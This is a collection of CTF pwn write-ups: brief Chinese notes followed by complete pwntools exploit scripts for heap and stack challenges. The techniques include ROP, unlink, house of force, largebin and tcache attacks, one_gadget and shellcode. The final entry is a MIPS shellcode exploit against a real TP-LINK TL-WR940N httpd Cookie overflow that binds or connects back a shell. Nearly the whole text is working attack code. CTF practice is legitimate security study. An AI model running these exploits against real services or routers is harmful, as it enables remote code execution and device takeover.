返回的是write+64,溢出空间足够控制寄存器的值,可以leak出read的libc地址
然后返回_start,然后往bss段上写orw shellcode
返回_start,mprotect赋予bss段rwx权限后再次返回_start,溢出跳转执行shellcode即可

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

ggg=asm(shellcraft.open('./flag'))+asm(shellcraft.read(3,0x601d00,0x100))+asm(shellcraft.write(1,0x601d00,0x100))

def pwn():

    ret=0x400696
    pop_rdi=0x400963
    pop_rsi_r15=0x400961
    main=0x400879
    pop_rbp=0x400788
    bss_addr=0x601800
    pop_rsp_r13_r14_r15=0x40095d
    read_plt=elf.plt[b"read"]


    # for i in range(2):
    #     payload=cyclic(0x48)+p64(main)
    #     io.send(payload)


    # payload=p64(elf.got[b"read"])*0x10
    # io.send(payload)

    # gdb.attach(io)
    # pause()

    payload=p64(bss_addr)*9+p64(ret)*0xb+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got[b"read"])*2+b"\x30\xf1\x8d"
    io.send(payload)

    leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"read"]
    print("leak_addr: " + hex(leak_addr))

    open_a=leak_addr+libc.sym[b"open"]
    read_a=leak_addr+libc.sym[b"read"]
    write_a=leak_addr+libc.sym[b"write"]
    mprotect_a=leak_addr+libc.sym[b"mprotect"]
    pop_rdx=leak_addr+0x1b96
    syscall_ret=leak_addr+0x0b1165
    pop_rax=leak_addr+0x1ced0


    payload=p64(bss_addr)*9+p64(ret)*0xb+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss_addr)*2+p64(read_plt)+p64(0x400720)
    io.send(payload)

    io.send(ggg)

    mpp=p64(pop_rdi)+p64(0x601000)+p64(pop_rsi_r15)+p64(0x1000)+p64(0)+p64(pop_rdx)+p64(7)+p64(mprotect_a)+p64(0x400720)

    payload=p64(bss_addr)*9+mpp
    io.send(payload)

    # gdb.attach(io)
    # pause()

    payload=p64(bss_addr)*10
    io.send(payload)
    
    sleep(0.2)
    t=io.recv()
    print(t)
    

while True:
    try:
        # io=process("./silent")
        io=remote("172.10.0.8",9999)
        elf=ELF("./silent")
        libc=elf.libc
        pwn()
        
    except:
        io.close()
        continue

# Gadgets information
# ============================================================
# 0x0000000000400876 : leave ; ret
# 0x00000000004007e2 : mov byte ptr [rip + 0x20084f], 1 ; pop rbp ; ret
# 0x00000000004008f7 : mov eax, 0 ; leave ; ret
# 0x000000000040095c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040095e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400960 : pop r14 ; pop r15 ; ret
# 0x0000000000400962 : pop r15 ; ret
# 0x000000000040095b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040095f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400788 : pop rbp ; ret
# 0x0000000000400963 : pop rdi ; ret
# 0x0000000000400961 : pop rsi ; pop r15 ; ret
# 0x000000000040095d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400696 : ret

# Unique gadgets found: 14

dfjk2022_smallcontainer:

没有uaf,不过edit的时候有check()会检查输入是否为\x11,会将\x11置0,我们只需要将edit的堆块全部写满\x11,指针递增到下个堆块的\x11也会置0,这样我们就有一个off by null了
show无检查可以泄露libc
后面构造unlink即可,注意构造unlink的触发堆块不能在tcache里面
unlink后chunk overlap,最后tcachebin attack劫持__free_hookone_gadget即可

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])


# io=process("./service")
io=remote("node4.anna.nssctf.cn",28820)
elf=ELF("./service")
libc=elf.libc

def add(s):
    io.sendlineafter(b"> ",b"1")
    io.sendlineafter(b"size: ",str(s))

def delete(n):
    io.sendlineafter(b"> ",b"2")
    io.sendlineafter(b"index: ",str(n))
    
def edit(n,cc):
    io.sendlineafter(b"> ",b"3")
    io.sendlineafter(b"index: ",str(n))
    io.send(cc)
    
def show(n):
    io.sendlineafter(b"> ",b"4")
    io.sendlineafter(b"index: ",str(n))
    
# gdb.attach(io)
# pause()

for i in range(8):
    add(0x120)

add(0x130) #8

for i in range(8):
    delete(i)
    
add(0x100) #0
show(0)
leak_addr=int(io.recv(12),16)-0x3ebdc0
print("leak_addr: ",hex(leak_addr))

sys_addr=leak_addr+libc.sym[b"system"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
shell=leak_addr+0x4f302


delete(0)
delete(8)

for i in range(7):
    add(0x1f8)

add(0x1f8) #7
add(0x228) #8
add(0x200) #9
add(0x220) #10
add(0x228) #11


#unlink
for i in range(7):
    delete(i)
    
delete(7)

payload=b"\x11"*0x228
edit(8,payload)

payload=b"\x11"*0x220+p64(0x430)
edit(8,payload)

payload=b"\x11"*0x1f8+p64(0x241)
edit(9,payload)
delete(9)



#overlap
delete(11)
delete(8)

add(0x250) #0
edit(0,b"\x00"*0x1f8+p64(0x230)+p64(free_hook))

add(0x228) #1
add(0x228) #2
edit(2,p64(shell))

delete(2)

io.interactive()

# 0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

# 0x4f302 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a2fc execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

gkctf2020_domo:

add存在off by null,可以unlink构造chunk overlap
劫持__malloc_hookone_gadget
如果直接add调用__malloc_hook会有检查
可以利用scanf输入过长数据触发malloc()拿shell

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./domo")
io=remote("node4.anna.nssctf.cn",28478)
elf=ELF("./domo")
libc=elf.libc

def add(s,cc):
    io.sendlineafter(b"> ",b"1")
    io.sendlineafter(b"size:\n",str(s))
    io.sendafter(b"content:\n",cc)

def delete(n):
    io.sendlineafter(b"> ",b"2")
    io.sendlineafter(b"index:\n",str(n))

def show(n):
    io.sendlineafter(b"> ",b"3")
    io.sendlineafter(b"index:\n",str(n))

def edit(n,addr,cc):
    io.sendlineafter(b"> ",b"4")
    io.sendlineafter(b"addr:\n",str(addr))
    io.sendafter(b"num:\n",cc)
    
# gdb.attach(io)
# pause()

add(0x100,b"nmsl") #0
add(0x20,b"gap") #1
delete(0)
add(0x100,b"a") #0
show(0)

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c4b61
print("leak_addr: ",hex(leak_addr))

open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
shell=leak_addr+0xf1247

add(0xf0,b"aaa") #2
add(0x68,b"ddd") #3
add(0xf0,b"eee") #4
add(0xf0,b"gap") #5

delete(2)
delete(3)
add(0x68,b"\x00"*0x60+p64(0x170)) #2
delete(4)

delete(2)

add(0x108,cyclic(0xf8)+p64(0x70)+p64(malloc_hook-0x23))

add(0x60,b"rrr") #6
add(0x60,cyclic(0x13)+p64(shell)) #7

io.sendlineafter(b"> ",b"1"*0x10000)

io.interactive()

xyb2021_PassWordBox_FreeVersion:

add和show有异或操作,edit无,由于a  xor  0=a(a>=0)a \; xor \; 0=a \quad(a>=0),所以采用\x00泄露异或的key
add存在off by null,采用unlink打chunk overlap
然后2.27可以double free,劫持__free_hookone_gadget即可

PassWordBox_FreeVersionfrom pwn import *
context(log_level="debug",arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwdFree") 
io=remote("node4.anna.nssctf.cn",28820)
elf=ELF("./pwdFree")
libc=elf.libc

def add(s,cc):
    io.sendlineafter(b"Choice:\n",b"1")
    io.sendlineafter(b"Save:",b"aaa")
    io.sendlineafter(b"Of Your Pwd:",str(s))
    io.sendlineafter(b"Your Pwd:",cc)
    
    
def edit(n,cc):
    io.sendlineafter(b"Choice:\n",b"2")
    io.sendline(str(n))
    io.send(cc)
    
    
def show(n):
    io.sendlineafter(b"Choice:\n",b"3")
    io.sendlineafter(b"Check:\n",str(n))
    
    
def delete(n):
    io.sendlineafter(b"Choice:\n",b"4")
    io.sendlineafter(b"Delete:\n",str(n))


# gdb.attach(io)
# pause()

add(0xf8,b"\x00"*8)
io.recvuntil(b"ID:")
key=u64(io.recv(8))
print("key: ",hex(key))
delete(0)

#unlink
for i in range(8):
    add(0xf8,b"a")

add(0x68,b"aa") #8
add(0xf8,b"aa") #9
add(0x20,b"gap") #10

for i in range(8):
    delete(i)

delete(8)
payload=p64(0xdeadbeef^key)*0xc+p64(0x170^key)
add(0x68,payload)

delete(9)

delete(8)

# ###
for i in range(7):
    add(0xf8,b"www")

add(0xf8,b"aaa") #8
show(0)
io.recvuntil(b"is: ")
leak_addr=u64(io.recv(8))^key
leak_addr-=0x3ebca0
print("leak_addr: " + hex(leak_addr))

shell=leak_addr+0x4f432
free_hook=leak_addr+libc.sym[b"__free_hook"]

add(0x60,b"asd") #9
show(9)
delete(0)
edit(9,p64(0)*2)
show(9)
delete(9)

add(0x60,p64(free_hook^key))
add(0x60,b"a")
add(0x60,p64(shell^key))

delete(8)

io.interactive()                     

# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a41c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

xyb2021_PassWordBox_ProVersion:

只能申请largebin大小范围的堆块,采用largebin attack打mp的方法,然后tcache poisoning带走

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwdPro")
io=remote("node4.anna.nssctf.cn",28934)
elf=ELF("./pwdPro")
libc=elf.libc

def add(n,s,cc):
    io.sendlineafter(b"Choice:\n",b"1")
    io.sendlineafter(b"Add:\n",str(n))
    io.sendafter(b"Save:",b"a"*3)
    io.sendlineafter(b"Pwd:",str(s))
    io.sendlineafter(b"Pwd:",cc)

def edit(n,cc):
    io.sendlineafter(b"Choice:\n",b"2")
    io.sendlineafter(b"Edit:\n",str(n))
    io.send(cc)

def show(n):
    io.sendlineafter(b"Choice:\n",b"3")
    io.sendlineafter(b"Check:\n",str(n))

def delete(n):
    io.sendlineafter(b"Choice:\n",b"4")
    io.sendlineafter(b"Delete:\n",str(n))

def recover(n):
    io.sendlineafter(b"Choice:\n",b"5")
    io.sendlineafter(b"Recover:\n",str(n))

# gdb.attach(io)
# pause()

add(0,0x5a0,b"\x00")
io.recvuntil(b"ID:")
key=u64(io.recv(8))
print("key: ",hex(key))

add(1,0x590,b"a"*8)
add(2,0x590,b"a"*8)

delete(0)
recover(0)
show(0)

io.recvuntil(b"is: ")

leak_addr=(u64(io.recv(8))^key)-0x1eb1e0
print("leak_addr: ",hex(leak_addr))

malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
sys_addr=leak_addr+libc.sym[b"system"]
mp_addr=leak_addr+0x1eb2d0


### largebin_attack
add(15,0x800,b"a"*8)
payload=p64(leak_addr+0x1ec010)*2+p64(mp_addr-0x20)*2
edit(0,payload)

delete(2)

add(16,0x800,b"a")
###

add(6,0x600,b"a")
add(7,0x600,b"a")
add(8,0x600,b"a")

delete(6)
recover(6)
delete(7)
recover(7)

edit(7,p64(free_hook))
add(6,0x600,b"a")
add(7,0x600,b"a")
edit(7,p64(sys_addr))

edit(16,b"/bin/sh\x00")
delete(16)

io.interactive()

ycb2023_arrary_index_bank:

OOB read & write
int overflow bypass the check

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28794)
elf=ELF("./pwn")

# gdb.attach(io)
# pause()

io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"account?\n",b"-2")
io.recvuntil(b"] = ")
stack_addr=int(io.recvuntil(b"\n",drop=True),10)
print("stack_addr: ",hex(stack_addr))


io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"account?\n",b"-1")
io.recvuntil(b"] = ")
base_addr=int(io.recvuntil(b"\n",drop=True),10)-0x1426
print("base_addr: ",hex(base_addr))

win_addr=base_addr+0x1318
idx=((1<<63)+7)-(1<<64)

io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"account?\n",str(idx))
io.sendlineafter(b"much?\n",str(win_addr))

io.interactive()

ycb2023_eazy_force:

堆溢出写,任意大小分配可泄露libc,无pie,house of force模板题
劫持scanf_got为one_gadget

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28807)
elf=ELF("./pwn")
libc=elf.libc

scanf_got=0x602050
malloc_got=0x602040

def add(n,s,cc):
    io.sendlineafter(b"away\n",b"1")
    io.sendlineafter(b"index?\n",str(n))
    io.sendlineafter(b"want?\n",str(s))
    io.sendlineafter(b"write?\n",cc)

# gdb.attach(io)
# pause()

add(0,0x30000,b"nmsl")
# 0x5bb010
io.recvuntil(b"on ")
leak_addr=int(io.recv(14),16)-0x5bb010
print("leak_addr: ",hex(leak_addr))

shell=leak_addr+0x45226

payload=cyclic(0x28)+p64(0xFFFFFFFFFFFFFFFF)
add(1,0x20,payload)

io.recvuntil(b"on ")
top_chunk=int(io.recvuntil(b" is",drop=True),16)+0x20
print("top_chunk: ",hex(top_chunk))


add(2,scanf_got-top_chunk-0x20,b"")

# gdb.attach(io)
# pause()

add(3,0x10,p64(shell)*2)


io.interactive()

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

ycb2023_Printf_but_not_fmtstr:

2.36 uaf 创建堆块0x500-0x900
partial relro , pie disable , 给后门函数
打unsafe unlink

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28400)
elf=ELF("./pwn")
libc=elf.libc

win_addr=0x4011d6
chunk_list=0x4040e0

def add(n,s):
    io.sendlineafter(b">",b"1")
    io.sendlineafter(b"Index: ",str(n))
    io.sendlineafter(b"Size: ",str(s))
    
def delete(n):
    io.sendlineafter(b">",b"2")
    io.sendlineafter(b"Index: ",str(n))
    
    
def edit(n,cc):
    io.sendlineafter(b">",b"3")
    io.sendlineafter(b"Index: ",str(n))
    io.sendafter(b"Content: ",cc)    
    
def show(n):
    io.sendlineafter(b">",b"4")
    io.sendlineafter(b"Index: ",str(n))

# gdb.attach(io)
# pause()

fd=chunk_list-0x18
bk=chunk_list-0x10

add(0,0x508) #0
add(1,0x508) #1

delete(0)

payload=p64(0)+p64(0x501)
payload+=p64(fd)+p64(bk)
payload=payload.ljust(0x500,b"\x00")
payload+=p64(0x500)

edit(0,payload)

delete(1)

payload=p64(0)*3+p64(elf.got[b"puts"])
edit(0,payload)

edit(0,p64(win_addr))

io.interactive()

cakectf2023_vtable4b:

泄露地址,观察指针就行了:

from pwn import *
# context(log_level='debug')

io=remote("vtable4b.2023.cakectf.com",9000)

io.recvuntil(b"win> = ")
win_addr=int(io.recv(14),16)
print("win_addr = " + hex(win_addr))



io.recvuntil(b"> ")
io.sendline(b"3")
pd_addr=int(io.recvuntil(b"<-- message",drop=True)[-36:-22],16)
print("pd_addr = " + hex(pd_addr))
io.recvuntil(b"ed0 | ")
tp_addr=int(io.recv(16),16)
print("tp_addr = " + hex(tp_addr))



io.recvuntil(b"> ")
io.sendline(b"2")
io.sendlineafter(b"Message: ",p64(win_addr)+b"\x00"*0x10+p64(0x21)+p64(pd_addr)+p64(pd_addr)[:-1])

io.recvuntil(b"> ")
io.sendline(b"1")

io.interactive()

cakectf2023_bofww:

cpp pwn,给了后门,partial relro,很明显只能aaw改__stack_chk_fail@GLIBC_2.4为后门函数
程序最后会调用析构函数,一开始想过劫持_free_hook,22.04打消这个念头
后面发现如果能控制rbp-0x128的值就能实现任意地址写,然后一直找不到如何控制,卡老半天
结果发现前面程序流有memcpy可以直接实现aaw,hh

► 0x7f6965f4d170 <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_replace(unsigned long,
unsigned long, char const*, unsigned long)+192>    call   memcpy@plt                <memcpy@plt>
       dest: 0x404050 (__stack_chk_fail@got.plt) —▸ 0x4010a0 ◂— endbr64 
       src: 0x7ffc682d34f0 —▸ 0x4012f6 (win()) ◂— endbr64 
       n: 0x3
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./bofww")
io=remote("bofww.2023.cakectf.com",9002)
elf=ELF("./bofww")

win_addr=0x4012f6
chk_fail=0x404050

# gdb.attach(io)
# pause()

payload=p64(win_addr)+p64(0)+p64(chk_fail)*0x30
io.sendlineafter(b"name? ",payload)

idx=((1<<31)+1)-(1<<32)

payload=str(idx)
io.sendlineafter(b"you? ",payload)

io.interactive()

cakectf2023_memorial_cabbage:

gdb调试发现memo_w只需0xff0bytes的数据就可以覆盖到tempdir,而限制输入长度为0xfff,存在溢出可以覆盖tempdir/flag.txt\x00

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])


# io=process("./cabbage")
io=remote("memorialcabbage.2023.cakectf.com",9001)

# gdb.attach(io)
# pause()

io.sendlineafter(b"> ",b"1")
payload=cyclic(0xff0)+b"/flag.txt\x00"
io.sendlineafter(b"Memo: ",payload)


io.sendlineafter(b"> ",b"2")


io.interactive()

nctf_2021_login

栈迁移后利用csu改close@got[plt]低字节为\x99构造syscall
之后ret到第二次read控制rax为0x3b
随后利用csu控制rdx为0,构造execve("/bin/sh",0,0)

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28857)
elf=ELF("./pwn")
libc=elf.libc

ret=0x40101a
pop_rdi=0x401293
pop_rsi_r15=0x401291 
leave_ret=0x40121f
read_plt=elf.plt[b"read"]
read_got=elf.got[b"read"]
read_text=0x04011ed  

csu_1=0x40128a
# 0040128a  5b                 pop     rbx {__saved_rbx}
# 0040128b  5d                 pop     rbp {__saved_rbp}
# 0040128c  415c               pop     r12 {__saved_r12}
# 0040128e  415d               pop     r13 {__saved_r13}
# 00401290  415e               pop     r14 {__saved_r14}
# 00401292  415f               pop     r15 {__saved_r15}
# 00401294  c3                 retn     {__return_addr}

csu_2=0x401270
# 00401270  4c89f2             mov     rdx, r14
# 00401273  4c89ee             mov     rsi, r13
# 00401276  4489e7             mov     edi, r12d
# 00401279  41ff14df           call    qword [r15+rbx*8]

# gdb.attach(io)
# pause()

io.recvuntil(b"NCTF2021!\n")

#offset 0x110
payload=cyclic(0x100)+p64(0x404400)+p64(read_text)
io.send(payload)


# pre-modify close_got and prepare for rop chain
payload=p64(csu_1)+p64(0)+p64(0x1)+p64(0)+p64(elf.got[b"close"])+p64(0x200)+p64(read_got)
payload+=p64(csu_2)+b"/bin/sh\x00"
payload=payload.ljust(0x78,b"a")


payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x404800)*2+p64(elf.sym[b"read"])
payload+=p64(csu_1)+p64(0)*2+p64(0x404340)+p64(0)+p64(0)+p64(elf.got[b"close"])+p64(csu_2)


payload=payload.ljust(0x100,b"a")+p64(0x404300-0x8)+p64(leave_ret)
io.send(payload)

# modify close_got
io.send(b"\x99")

# trigger
sleep(3)
io.send(b"a"*0x3b)



io.interactive()

# Gadgets information
# ============================================================
# 0x000000000040121f : leave ; ret
# 0x000000000040128c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040128e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401290 : pop r14 ; pop r15 ; ret
# 0x0000000000401292 : pop r15 ; ret
# 0x000000000040128b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040128f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040117d : pop rbp ; ret
# 0x0000000000401293 : pop rdi ; ret
# 0x0000000000401291 : pop rsi ; pop r15 ; ret
# 0x000000000040128d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret

# Unique gadgets found: 12

qwb2022_devnull

栈迁移+mprotect+shellcode
注意fgets

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

# io=process("./devnull")
io=remote("node4.anna.nssctf.cn",28934)
elf=ELF("./devnull")
libc=elf.libc

mprotect=0x4012D0
w_addr=0x3fe000
pop_rbp=0x40129d
leave_ret=0x401354
mov_eax=0x401350

# gdb.attach(io)
# pause()

payload=cyclic(0x20)
io.sendafter(b"filename\n",payload)

payload=cyclic(0xc+8)+p64(w_addr)+p64(w_addr+0x10)+p64(leave_ret)
io.sendafter(b"discard\n",payload)

read_shellcode=asm('''
    xor rax,rax
    mov edi,0
    push 0x3fea00
    pop rsi
    push 0x200
    pop rdx
    syscall              
''')

call_shellcode=asm('''
mov rax,0x3fea00
call rax
''')

payload=p64(0x3fe000)+p64(0x3fe018)*2+p64(mov_eax)+p64(mprotect)+p64(0xdeadbeef)+p64(0x3fe038)+read_shellcode+call_shellcode
io.sendafter(b"data\n",payload)

# pause()

io.send(asm(shellcraft.sh()))

io.interactive()

# 0x0000000000401354: leave; ret;
# 0x000000000040101a: ret;
# 0x0000000000401351: mov eax, dword ptr [rbp - 0x18]; leave; ret;
# 0x000000000040129d: pop rbp; ret;

cqb_nmanager:

溢出绕过随机验证,栈上越界读写ROP

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./nmanager")
# io=remote("127.0.0.1",1234)
io=remote("8.147.135.190",44768)
elf=ELF("./nmanager")
libc=ELF("./libc.so.6")

ret=0x40101a

def modify(n,gd,age,name):
    io.sendlineafter(b"modify ##\n",str(n))
    io.sendafter(b"gender: ",gd)
    io.sendlineafter(b"age: ",str(age))
    io.sendafter(b"name: ",name)

def choice(n):
    if n == 0:
        io.sendafter(b"quit now?(Y/y)\n",b"n")
    else:
        io.sendafter(b"quit now?(Y/y)\n",b"y")
        

payload=b"./flag\x00\x00"+cyclic(0x58)+b"check passed".ljust(0x20,b"\x00")
io.sendlineafter(b"password: ",payload)


### leak libc
modify(8,b"nmsl"*2,0x10,b"aaa")
io.recvuntil(b"nmsl"*2)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x29d90
print("leak_addr: ",hex(leak_addr))

pop_rdi=leak_addr+0x2a3e5
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]

choice(0)


### leak canary
modify(-1,b"a",0x10,b"aaa")
io.recvuntil(b"gender: a")
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary: ",hex(canary))

choice(0)

### rop
payload=p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)
modify(-1,payload,str_sh,p64(sys_addr))

choice(1)

io.interactive()

cqb_book

2.35,白给uaf,函数齐全,这里选择堆栈结合打rop,IO没好的模板实在不想看

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("8.147.135.190",13854)
elf=ELF("./pwn")
libc=elf.libc

def add(n,s):
    io.sendlineafter(b"> ",b"1")
    io.sendlineafter(b"Index:",str(n))
    io.sendlineafter(b"size :",str(s))


def delete(n):
    io.sendlineafter(b"> ",b"2")
    io.sendlineafter(b"Index:",str(n))
    

def show(n):
    io.sendlineafter(b"> ",b"3")
    io.sendlineafter(b"Index:",str(n))


def edit(n,cc):
    io.sendlineafter(b"> ",b"4")
    io.sendlineafter(b"Index:",str(n))
    io.sendlineafter(b"content: ",cc)


# gdb.attach(io)
# pause()

for i in range(8):
    add(i,0x90)
    
add(8,0x10)

for i in range(8):
    delete(i)
    
show(7)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x219ce0
print("leak_addr:  "+hex(leak_addr))

pop_rdi=leak_addr+0x2a3e5
# 0x000000000002a3e5: pop rdi; ret;
ret=leak_addr+0xf9e3c
# 0x00000000000f9e3c: ret;
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
environ=leak_addr+libc.sym[b"__environ"]

show(0)
key=u64(io.recv(5).ljust(8,b"\x00"))
heap_addr=key<<12
print("heap_addr:  "+hex(heap_addr))


payload=p64(environ^key)+p64(0)
edit(4,payload)

add(4,0x90)
add(5,0x90)
add(6,0x90)
add(7,0x90)
show(7)

stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: "+hex(stack_addr))

ret_addr=stack_addr-0x188
# stack_addr 0x7fffffffdee8
# ret 0x7fffffffdda8

payload=p64(ret)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr)

for i in range(8,13):
    add(i,0x100)

for i in range(8,12):
    delete(i)

edit(11,p64(ret_addr^key))
add(8,0x100)

# gdb.attach(io)
# pause()

add(9,0x100)
edit(9,cyclic(0x28)+payload)


io.interactive()

utctf_webserver

分析过了,直接贴码
溢出导致的栈上参数可控写got指针,任意地址写堆地址,lowbyte写\x00,改strstrstrtol
vuln:

int header_count = 0;
int header_cap = 0;
struct Header *headers = NULL;
char *name = take_until_char(header_line, &index, ':');
char *value = take_until_newline(header_line, &index);
name = malloc_str(name);
value = malloc_str(value);

//skip this
if (header_count + 1 > header_cap) {
    int new_cap = header_cap < 4 ? 4 : header_cap * 2;
    headers = realloc(headers, sizeof(struct Header) * new_cap);
    header_cap = new_cap;
}

struct Header h;   # control h -> got_ptr
h.name = name;  # got1 -> heap_addr1
h.value = value; # got2 -> heap_addr2
from pwn import *
context(log_level='debug', arch='amd64', terminal=['tmux', 'splitw', '-h'])

io = process("./webserver")
# io = remote("guppy.utctf.live", 5848)

io.send(b"GET /flag.txt HTTP/1.1\r\n")
#
gdb.attach(io)
pause()

headers = b"1:1\x00"  # prepare for overflow && make heap addr

payload = headers

# skip if condition
payload += b"\x01"*(0x350-0x30-len(headers))

# 0x402380 <main+665>    mov    rax, qword ptr [rbp - 0x30]
# ...
# 0x402399 <main+690>    mov    qword ptr [rcx + 8], rdx    <exit@got[plt]+1>
payload += p64(0x4050e0-0xf)  # rcx

payload += b"\r\n"
payload += b"\r\n"
io.send(payload)

io.send(b"a"*0x20000)

io.interactive()

utctf_ecorp

ref:
https://blog.viettelcybersecurity.com/tp-link-tl-wr940n-httpd-httprpmfs-stack-based-buffer-overflow-remote-code-execution-vulnerability/
https://blog.talosintelligence.com/vulnerability-deep-dive-tp-link/
题目给出的固件版本对应第一篇中固件版本,headers中的cookie存在缓冲区溢出,故该漏洞可以直接打
题目要求需要反弹shell
题目给出固定的栈地址,并且admin给出提示

Nope you can just jump to shellcode On a real router u would have needed to rop to sleep or flush the cache another way Or find a way to write ur code without a decoder...u don't need to deal with cache coherence unless ur code modifies itself

不需要考虑cache incohorency,直接跳转执行shellcode
不过该漏洞触发时会调用toUpper()将小写字母转换为大写字母
stage1考虑构造read绕过,read(socketfd,buf,size)
shellcraft中的findpeer可以直接将socketfd存入$s0
stage2读入反弹shell的shellcode,这里方法不唯一,包括但不限于
bindsh & connect+dupsh & findpeersh

from pwn import *
context(arch='mips', endian='big', os='linux')

nop = asm('addiu $a0, $a0, 0x4141')
avoid = string.ascii_lowercase.encode() + b"\x00"
addr = 0x7c7ffa90

# sh = listen(1440)
io = remote('192.168.0.1', 80)

# stage 1
# find peer socketfd and save it to $s0
sc = asm(shellcraft.findpeer(io.lport))
# read sc2 to addr
sc += asm(shellcraft.read('$s0', addr, 0x200))
sc += asm(f'''
    lui $t9, {addr >> 16}
    ori $t9, $t9, {addr & 0xffff}
    jalr $t9
    addiu $a0, $a0, 0x4141
''')

print("sc::", sc)


assert all(c not in avoid for c in sc)


payload = b"A"*0x10+p32(addr)+nop*100+sc

request = b"GET /loginFs/passwd HTTP/1.1\r\n"
request += b"Host: 192.168.0.1\r\n"
request += b"Referer: http://192.168.0.1/\r\n"
request += b"Cookie: "+payload+b"\r\n"
request += b"Upgrade-Insecure-Requests: 1\r\n"
request += b"\r\n"

io.send(request)

pause()

# stage 2
# sc2 = asm(shellcraft.findpeersh(io.lport))
# sc2 = asm(shellcraft.connect("192.168.0.2", 1440))+asm(shellcraft.dupsh())
sc2 = asm(shellcraft.bindsh(1440))

io.send(sc2)

io.interactive()

# sh.wait_for_connection()
# sh.interactive()
log.progress("connecting to shell")
sh1 = remote("192.168.0.1", 1440)
sh1.interactive()